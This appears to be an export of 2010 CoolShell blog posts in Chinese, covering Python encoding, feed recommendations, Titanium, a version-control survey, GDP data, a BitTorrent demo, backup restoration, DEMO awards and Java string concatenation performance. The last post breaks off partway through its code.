    "content": "---\nlayout: post\ntitle: Python处理encoding的小技巧\ndate: 2010/2/8/ 14:6:0\nupdated: 2010/2/8/ 14:6:0\nstatus: publish\npublished: true\ntype: post\n---\n\n用Python写过处理文本经常会遇到需要decoding或者encoding, 尤其是处理中文的时候。\n\n\nencoding的问题处理起来是个脏活儿，报错不太容易看懂，网上相关资料不太好查。有同感？请继续读下去。\n\n\n常规做法是读取文件的时候立刻decode, 所有的处理工作都用unicode，写会文件的时候encode. 但是等到读取的时候在处理的代码读/写起来都很别扭，感觉像穿上鞋以后袜子滑下来了…Python 3.1.1以上的版本解决了该问题。在Python 3.1.1中，打开文件可以加入encoding的参数：\n\n\n\n```\nfile = open(filename, encoding='xxx')\n```\n\n啊，这样看起来终于舒坦了。 不同写如下的code了\n\n\n\n```\nfile = open(filename)\nfor line in file:\n    decoded\\_line = line.decode('xxx')\n    do something else\n提倡使用utf8\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python处理encoding的小技巧](https://coolshell.cn/articles/2109.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-8 分享：我的Reader订阅.md",
    "content": "---\nlayout: post\ntitle: 分享：我的Reader订阅\ndate: 2010/2/8/ 13:47:50\nupdated: 2010/2/8/ 13:47:50\nstatus: publish\npublished: true\ntype: post\n---\n\n应网友workout和其他热心读者的要求，我罗列一些自己觉得值得推荐的feed。用纯文字罗列如下，想找到以下的话可以通过Google。希望大家在此互相分享。\n\n\n适合读者：广谱技术爱好者，国外互联网信息爱好者，用户行为和设计爱好者， 语言爱好者，阅读狂。\n\n\n**技术类**\n\n\n* Coding horror\n* Joel on software\n* unified Python planet\n\n\n**业界信息**\n\n\n* 谷歌黑板报\n* Search Blog: Bing\n* Search\n* 百度爱好者\n* silicon valley watcher\n* Google Blogscoped\n* Google Code Blog\n* 月光博客\n* apple4us\n* 古奥\n* 望月的博客\n* Google Operating System\n\n\n**杰出个人博客**\n\n\n* Paul Graham Essays\n* Pure Pleasure – lixiaolai.com\n* The noisy channel\n* 李开复新浪博客\n* 韩寒博客\n* the trump blog\n* Matt Cutts\n* Linus blog\n* Paul Buchheit (Gmail创始人)\n* Peter Norvig (人工智能大儒， Google 研究总监)\n* too (Google 创始人博客）\n* Alon Halevy’s Blog\n* Daniel Lemire’s blog\n* Clay Shirky\n* Earning My Turns\n* How to change the world\n\n\n\n**英语学习**\n\n\n* London Review of Books\n* New York Review of Books\n\n\n**研究或学习类**\n\n\n* MIT OpenCourseWare: CS and EE\n* Recent Google Publication\n* Language Log\n\n\n**用户体验和设计类**\n\n\n* Mozilla Labs\n* Taobao.com UED team blog\n* uxday\n* Alipay UED\n* Aza’s thoughts\n* A List Apart\n\n\n**娱乐消遣类**\n\n\n* the big picture\n* 煎蛋\n* 有意思吧\n* Lolcats ‘n’ funny pictures\n* Drawn! The illustration and cartooning blog\n* 科学松鼠会\n\n\n更多经典种子，亲爱的读者，等你添加。分享是快乐的。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/780.html)[如何知道某网站运行在GAE上](https://coolshell.cn/articles/780.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5686.html)[多些时间能少写些代码](https://coolshell.cn/articles/5686.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2365.html)[两个C++的资源](https://coolshell.cn/articles/2365.html)\n* [![Google吃豆游戏Logo的源码](../wp-content/uploads/2010/05/google_pacman-150x150.jpg)](https://coolshell.cn/articles/2466.html)[Google吃豆游戏Logo的源码](https://coolshell.cn/articles/2466.html)\n* [![你应该知道的20个Ajax技术(01-10)](../wp-content/uploads/2009/03/1-150x150.png)](https://coolshell.cn/articles/7.html)[你应该知道的20个Ajax技术(01-10)](https://coolshell.cn/articles/7.html)\nThe post [分享：我的Reader订阅](https://coolshell.cn/articles/2105.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-10 Titanium – 桌面和移动应用开发平台.md",
    "content": "---\nlayout: post\ntitle: Titanium – 桌面和移动应用开发平台\ndate: 2010/3/10/ 10:47:43\nupdated: 2010/3/10/ 10:47:43\nstatus: publish\npublished: true\ntype: post\n---\n\n*[文章来源 www.readwriteweb.com](http://www.readwriteweb.com/archives/titanium_10_launches_build_native_apps_for_desktop_mobile_ipad.php)*\n\n\n[![](../wp-content/uploads/2010/03/PROD_tit_mobile.png)](https://coolshell.cn/wp-content/uploads/2010/03/PROD_tit_mobile.png)\n\n\n2010年3月8日，Appcelerator 公司发布了 Titanium 的 1.0 版本。 Titanium 是一个桌面和移动应用程序开发平台，基于此平台，开发人员可以使用标准的 WEB 技术如 HTML，JavaScript，和 CSS 来开发桌面和移动应用程序。\n\n\n和其他开发平台所宣传的开发移动应用无需理解本机代码不同， Titanium 允许开发人员使用他们熟悉的编程技术来开发本机（native）移动应用，同时效果和功能与那些使用平台特定语言编写的应用相同，如可以操纵内置相机、播放视频流等等。 Titanium 的产品代码在近几个月内得到了优化，在性能方面得到了多处改进，加载时间由原来的10-20秒下降为3秒，页面切换非常迅速，处理速度提高了5倍。同时还增加了一些新的功能，如超过100个本机界面控件，2D 和 3D 动画及媒体处理机能。有了这些方面的增强，开发人员可以在 Titanium 支持的平台上开发品牌化应用， 休闲游戏， 以及增强现实应用。\n\n\n当被问到 Titanium 与其他开发平台的不同之处在哪里时，公司的营销副总裁 Scott Schwarzhoff 解释道：“很多我们的竞争者经仅仅是将 WEB 应用曲解为本机应用提供给客户，而没有提供真正的本机应用解决方案”。提供本机界面（超过100个本机API）的只有我们一家公司，同时我们还提供推通知服务，本机地图，Facebook连接，应用数据分析，增强现实应用，将来还会有更多特性。\n\n\n自2009年6月以来，Titanium 开发平台吸引了超过27000名开发人员对公司所谓“本机优势”概念的兴趣（*[阅读详情](http://www.appcelerator.com/products/native-iphone-android-development/)*）。其中包括对本机控件的支持，基于位置的服务，社交共享，HTML 5，在线和设备内置数据库，集成数据分析，丰富的多媒体等等。\n\n\nAppcelerator 承诺在3月份的第三周支持苹果的新平板设备，包括几周后即将发布的 iPad。对黑莓的支持将于五月或六月间发布。Titanium 的社区版本完全免费，专业版本不免费，但是提供技术支持，数据分析以及对新版本的预览。\n\n\nTitanium 支持的平台包括： PC， Mac，Linux，最新版本则支持 iPhone 和 Android，Appcelerator 公司即将发布对黑莓和苹果 iPad 的支持。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/5265.html) [C++11 中值得关注的几大变化（详解）](https://coolshell.cn/articles/5265.html)\n* [![Internet 技术演变图](../wp-content/uploads/2009/07/Internet-150x150.jpg)](https://coolshell.cn/articles/1178.html)[Internet 技术演变图](https://coolshell.cn/articles/1178.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![某Python实现的尾部递归](../wp-content/uploads/2009/04/snake-150x150.jpg)](https://coolshell.cn/articles/737.html)[某Python实现的尾部递归](https://coolshell.cn/articles/737.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\nThe post [Titanium – 桌面和移动应用开发平台](https://coolshell.cn/articles/2117.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-12 Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查.md",
    "content": "---\nlayout: post\ntitle: Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查\ndate: 2010/3/12/ 22:31:2\nupdated: 2010/3/12/ 22:31:2\nstatus: publish\npublished: true\ntype: post\n---\n\n[*文章来源 martinfowler.com*](http://martinfowler.com/bliki/VcsSurvey.html)\n\n\n从2010年2月23日至3月3日，Martin Fowler 在 ThoughtWorks 内部通过开发人员邮件列表进行了一个关于版本控制工具的小调查，共收到99个回复。下面是调查选项定义和调查结果：\n\n\n* 非常好 （如果不是最好也非常接近了）\n* 还行 （不是最好，但是我还是愿意使用）\n* 问题多多 （我可能会因此强烈建议我的团队使用其他同类工具）\n* 危险 （非常糟糕的工具，我认为 ThoughtWorks 不应该使用它）\n* 不知道 （我还没有使用过此工具）\n* 回复数 （对此工具的回复总数，包括“不知道”选项）\n* 好评率 （(“非常好”+“还行”)/回复数）\n\n\n\n\n| 名称 | 非常好 | 还行 | 问题多多 | 危险 | 不知道 | 回复数 | 好评率 |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| **Subversion** | 20 | 72 | 6 | 1 | 0 | 99 | 93% |\n| **git** | 65 | 19 | 1 | 0 | 14 | 85 | 99% |\n| **Mercurial** | 33 | 27 | 2 | 0 | 36 | 62 | 97% |\n| **ClearCase** | 0 | 3 | 14 | 41 | 41 | 58 | 5% |\n| **TFS** | 0 | 0 | 32 | 22 | 44 | 54 | 0% |\n| **CVS** | 0 | 14 | 59 | 11 | 15 | 84 | 17% |\n| **Bazaar** | 1 | 13 | 3 | 0 | 80 | 17 | 82% |\n| **Perforce** | 1 | 26 | 16 | 1 | 54 | 44 | 61% |\n| **VSS** | 1 | 1 | 11 | 64 | 22 | 77 | 3% |\n\n\nMartin Fowler 补充道：\n\n\n* Subversion，git，和 Mercurial 都得到了较高的好评率，git 得分最高。\n* 大部分人认为 VSS 很危险，不过也有一两个人认为它还不错。\n* 大家都不太喜欢 TFS 和 ClearCase，并认为 ClearCase 更为危险。\n* 我们不用太拘泥于具体数据，特别是对于那些不好的工具的差评都无太大区别，而对于那些优秀的工具的好评却很有一些不同。\n\n\nMartin Fowler 反复强调这只是一个公司内部的调查，并无误导市场的意思，大家如果感兴趣的话可以点击 *[*文章来源*](http://martinfowler.com/bliki/VcsSurvey.html)* 阅读原文，以及另一篇关于版本控制的文章 *[VersionControlTools](http://martinfowler.com/bliki/VersionControlTools.html)*。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1283.html)[Linux基金会的广告](https://coolshell.cn/articles/1283.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/8593.html)[如何测试洗牌程序](https://coolshell.cn/articles/8593.html)\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/461.html)[Python处理中文的时候的一些小技巧](https://coolshell.cn/articles/461.html)\n* [![为什么敏捷方法能在软件开发中行之有效？](../wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg)](https://coolshell.cn/articles/2622.html)[为什么敏捷方法能在软件开发中行之有效？](https://coolshell.cn/articles/2622.html)\nThe post [Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查](https://coolshell.cn/articles/2135.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-14 中国仍然是一个很穷的国家.md",
    "content": "---\nlayout: post\ntitle: 中国仍然是一个很穷的国家\ndate: 2010/3/14/ 12:51:49\nupdated: 2010/3/14/ 12:51:49\nstatus: publish\npublished: true\ntype: post\n---\n\nGoogle最近发布了一个全世界可以开放查询的数据平台，其中包含了多种宏观数据，并且有很方便的作图方式。\n\n\n<http://www.google.com/publicdata/directory>\n\n\n其中有一项是[世界各国人均GDP](http://www.google.com/publicdata/explore?ds=ltjib1m1uf3pf_&ctype=l&met_y=sizegdp_t2&hl=en_US&dl=en_US)\n\n\n虽然最近一些中国城市房价已经超越我们的想象力，但是从[这张图](http://www.google.com/publicdata/explore?ds=ltjib1m1uf3pf_&ctype=l&met_y=sizegdp_t2&hl=en_US&dl=en_US#ctype=l&met_y=sizegdp_t2&scale_y=lin&ind_y=false&rdim=country&idim=country:CHN:IND:DEU:GBR:USA:ZAF:ITA:AUS:CAN:RUS:JPN&hl=en_US&dl=en_US)里还是可以看到，我们仍是一个人均非常穷的国家。\n\n\n[![](../wp-content/uploads/2010/03/we-are-still-poor.jpg \"we are still poor\")](https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor.jpg)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [中国仍然是一个很穷的国家](https://coolshell.cn/articles/2179.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-16 BT工作原理演示.md",
    "content": "---\nlayout: post\ntitle: BT工作原理演示\ndate: 2010/3/16/ 7:9:35\nupdated: 2010/3/16/ 7:9:35\nstatus: publish\npublished: true\ntype: post\n---\n\n\n下面这个网站使用Javascript编写了一个BT工作原理演示动画程序。当然，你可能需要使用Chrome浏览器打开，因为他真的很耗CPU。在我的双核（2GHz）T60电脑上用Chrome打开CPU一下就被耗了50%左右。\n<http://mg8.org/processing/bt.html>\n下面是我截的一个图，每个圆代表一个结点，其会通过其它结点下载需要的文件段。结点中间的那个Bar有点类似于eDonkey中的下载进度条。至于为什么要用像彩虹一样的颜色，主要是为了让你看到不同的段是从不同的结点下载的。\n你可以按热键S来加入一个下载完了的结点，用P来加入一下空结点，按R来删除一个结点（有点慢，要等10秒左右吧）。\n[![](../wp-content/uploads/2010/03/bt_js_demo.jpg \"BT工作原理演示动画\")](https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo.jpg)BT工作原理演示动画\n关于其它Javascript的一些小玩意，你可以看看[这篇文章](https://coolshell.cn/articles/1932.html \"哥是玩程序的\")。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [BT工作原理演示](https://coolshell.cn/articles/2184.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-25 别只谈系统备份，谈谈怎样恢复系统吧！.md",
    "content": "---\nlayout: post\ntitle: 别只谈系统备份，谈谈怎样恢复系统吧！\ndate: 2010/3/25/ 0:16:20\nupdated: 2010/3/25/ 0:16:20\nstatus: publish\npublished: true\ntype: post\n---\n\n*[文章来源 JoelOnSoftware.com](http://www.joelonsoftware.com/items/2009/12/14.html)*\n\n\n*很久以前就看到这篇文章，它给了我很深刻的印象，搜索了一下 JoelOnSoftware 的中文 Wiki，似乎也没有此文的中文版，那就让酷壳来完成吧。*\n\n\n* 你备份你的系统了吗？\n* 你备份服务器了吗？\n* 你的备份是否存放在另一台机器中？\n* 你是否有异地备份？\n\n\n以上都是非常好的问题，也都是很好的备份习惯。\n\n\n不过，让我们别再只谈备份了，因为仅仅备份是远远不够的。资深的系统管理员们都会告诉你他们有完美的备份计划，但是问题往往发生在当你需要恢复系统的时候：\n\n\n* 备份文件被密钥加密，而遗失或损坏的恰恰就是存放密钥的那台机器。\n* 存放着大量配置信息的 IIS 元数据库恰好没有备份。\n* 备份文件一直被拷贝到一个限量2GB的FAT分区，多出来的数据被默默地抛弃掉了。\n* 你的备份都在一个LTO磁带上，磁带已经和数据中心一起遗失或损坏了（911？）。\n* 即便你有了备份，仍有可能遇到许许多多的意外情况。\n\n\n所以，保证基本的系统安全不仅仅取决于你做了备份，还在于你是否能够成功恢复备份。如果你在运营一个 WEB 服务，你需要向我展示你能够在合理的时间内，在一台新的服务器或者是和原来的数据没有任何关系的服务器上，使用近期备份的数据还原出整个网站。\n\n\n让我们不要再问人们是否做了系统备份，而是问他们是否能够恢复系统。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![把ASCII图转成图片](../wp-content/uploads/2009/11/color_codes-150x150.png)](https://coolshell.cn/articles/1684.html)[把ASCII图转成图片](https://coolshell.cn/articles/1684.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1480.html)[非常简单的Python HTTP服务](https://coolshell.cn/articles/1480.html)\nThe post [别只谈系统备份，谈谈怎样恢复系统吧！](https://coolshell.cn/articles/2155.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-27 DEMO Spring 2010 获奖产品.md",
    "content": "---\nlayout: post\ntitle: DEMO Spring 2010 获奖产品\ndate: 2010/3/27/ 23:44:21\nupdated: 2010/3/27/ 23:44:21\nstatus: publish\npublished: true\ntype: post\n---\n\n[*文章来*源* mashable.com*](http://mashable.com/2010/03/23/demo-god-awards/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Mashable+(Mashable)&utm_content=Google+Reader)\n\n\n在刚刚结束的 [DEMO Spring 2010](http://demo.com/) 中，执行制作人 Matt Marshall 宣布了获得 DEMO 大奖的各类 IT 产品，以及由大众评选出的最佳产品，作为奖品， DEMO 将为该产品提供价值100万美元的 [IDG](www.idg.com) 广告宣传。以下是各类奖项的归属：\n\n\n[![](../wp-content/uploads/2010/03/Zosh-300x185.jpg)](https://coolshell.cn/wp-content/uploads/2010/03/Zosh.jpg) **移动产品 [Zosh](http://zosh.com/)**\n\n\nZosh 是一个 iPhone 应用。有了Zosh，你无需使用扫描仪或者传真机即可实现对文档签名，Zosh支持的文档格式有：PDF，Office，以及图像文档。点此处查看 *[产品详情](http://mashable.com/2010/03/22/zosh/)*。\n\n\n具体操作方法：\n\n\n1. 打开邮件中的附件文档，将其发送至Zosh（本地）。\n\n\n2. 在Zosh中打开该文档，使用手写输入签名。\n\n\n3. 将签名作为一个“图层”合并到文档中。\n\n\n**社交和媒体产品 [Everloop](http://everloop.com/)**\n\n\nEverloop 是一个网络社交应用，目标用户是8到13岁的儿童。其现在是一个 White Label 产品（由一个公司开发，但由其他公司进行再包装和市场营销的产品），很快将会独立运营。\n\n\n\n**基于云计算的产品 [Gwabbit](http://gwabbit.com/)**\n\n\nGwabbit 已经两次获得 DEMO God 奖项。它的新产品 Gwabbit Cloud Sync 帮助你从 Outlook 和 Blackberry 邮件中提取发件人信息，然后通过 Gwabbit 服务保存和同步。\n\n\n**消费电子产品 [Phone Halo](http://phonehalo.com/)**\n\n\n[![](../wp-content/uploads/2010/03/Phone_Halo-300x124.jpg)](https://coolshell.cn/wp-content/uploads/2010/03/Phone_Halo.jpg)Phone Halo 通过电子标签来管理你的手机、钥匙和钱包等贵重物品，在你有可能遗失它们的时候发出警报，从而大大降低遗失的概率。 点此处查看 *[产品介绍](http://mashable.com/2010/03/23/phone-halo/)*。\n\n\nPhone Halo 的工作方式大致如下：\n\n\n1. 在你的手机、钥匙和钱包等贵重物品上贴上有感应装置的电子标签。\n\n\n2. 在你的手机上安装 Phone Halo 应用程序。\n\n\n3. 当你忘记携带其中任何一项物品时，也就是你的手机无法感应到其他物品时，手机将会发出报警。如果你没有听到报警声，手机会发送电子邮件给你的亲朋好友，让他们来提醒你忘记了东西。\n\n\n（根据 Phone Halo 的预测或曰期望，在 2010 年的美国，将有五分之一的人遗失他们的手机，十分之一的人遗失他们的钱包，四分之一的人遗失他们的钥匙，看来该产品很有市场前景）\n\n\n**企业级应用 [BlueSkies Hospitality](http://blueskieshms.com/)** \n\n\nBlueSkies Hospitality Restaurant 2.0 是一个餐饮行业解决方案，主要和 OpenTable 争夺市场。\n\n\n**概念产品 [UppyMedia TAGtheLOOK](http://uppymedia.com/)**\n\n\nTAGtheLOOK 是一个 Facebook 应用，它可以让你在自己或者朋友的时装照片上贴上标签，并且与其他人分享这些标签来展示你的时尚品味。这个应用能给网上时尚商店带来潜在的商机。\n\n\n**大众评选产品 [eXaudios MagInify Call Center](http://exaudios.com/)**\n\n\n[![](../wp-content/uploads/2010/03/MagInify11-300x108.jpg)](../wp-content/uploads/2010/03/MagInify11.jpg)MagInify 是这样一个工具，它能够解码客户讲话的声音和音调，以判断客户情绪的好坏，从而帮助呼叫中心和客服人员分析统计服务质量，发现不足。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![读后感：真正编程的力量](../wp-content/uploads/2009/03/01-150x150.gif)](https://coolshell.cn/articles/29.html)[读后感：真正编程的力量](https://coolshell.cn/articles/29.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![一个排序算法比较的网站](../wp-content/uploads/2009/04/sort-150x150.jpg)](https://coolshell.cn/articles/399.html)[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg](https://coolshell.cn/articles/1962.html)[纯CSS做的3D效果](https://coolshell.cn/articles/1962.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4561.html)[对程序员职业的一些建议](https://coolshell.cn/articles/4561.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11629.html)[「我只是认真」聊聊工匠情怀](https://coolshell.cn/articles/11629.html)\nThe post [DEMO Spring 2010 获奖产品](https://coolshell.cn/articles/2191.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-3-28 JAVA的字符串拼接与性能.md",
    "content": "---\nlayout: post\ntitle: JAVA的字符串拼接与性能\ndate: 2010/3/28/ 1:42:14\nupdated: 2010/3/28/ 1:42:14\nstatus: publish\npublished: true\ntype: post\n---\n\n**概述：**本文主要研究的是JAVA的字符串拼接的性能，原文中的测试代码在功能上并不等价，导致concat的测试意义不大。不过原作者在评论栏给了新的concat结果，如果有兴趣的同学建议自己修改代码测试。\n\n\n原文出处:<http://www.venishjoe.net/2009/11/java-string-concatenation-and.html>\n\n\n在JAVA中拼接两个字符串的最简便的方式就是使用操作符”+”了。如果你用”+”来连接固定长度的字符串，可能性能上会稍受影响，但是如果你是在循环中来”+”多个串的话，性能将指数倍的下降。假设有一个字符串，我们将对这个字符串做大量循环拼接操作，使用”+”的话将得到最低的性能。但是究竟这个性能有多差？如果我们同时也把StringBuffer,StringBuilder或String.concat()放入性能测试中，结果又会如何呢？本文将会就这些问题给出一个答案！  \n\n\n\n\n我们将使用[Per4j](http://perf4j.codehaus.org/index.html)来计算性能，因为这个工具可以给我们一个完整的性能指标集合，比如最小，最大耗时，统计时间段的标准偏差等。在测试代码中，为了得到一个准确的标准偏差值，我们将执行20个拼接”\\*”50,000次的测试。下面是我们将使用到的拼接字符串的方法：\n\n\n* Concatenation Operator (+)\n* String concat method – concat(String str)\n* StringBuffer append method – append(String str)\n* StringBuilder append method – append(String str)\n\n\n最后，我们将看看字节码，来研究这些方法到底是如何执行的。现在，让我们先开始来创建我扪的类。注意为了计算每个循环的性能，代码中的每段测试代码都需要用Per4J库进行封装。首先我们先定义迭代次数\n\n\n\n```\n\nprivate static  final int  OUTER_ITERATION=20;\nprivate static final int INNER_ITERATION=50000;\n\n```\n\n接下来，我们将使用上述4个方法来实现我们的测试代码。\n\n\n\n```\n\n  \tString addTestStr = \"\";\n  \tString concatTestStr = \"\";\n  \tStringBuffer concatTestSb = null;\n  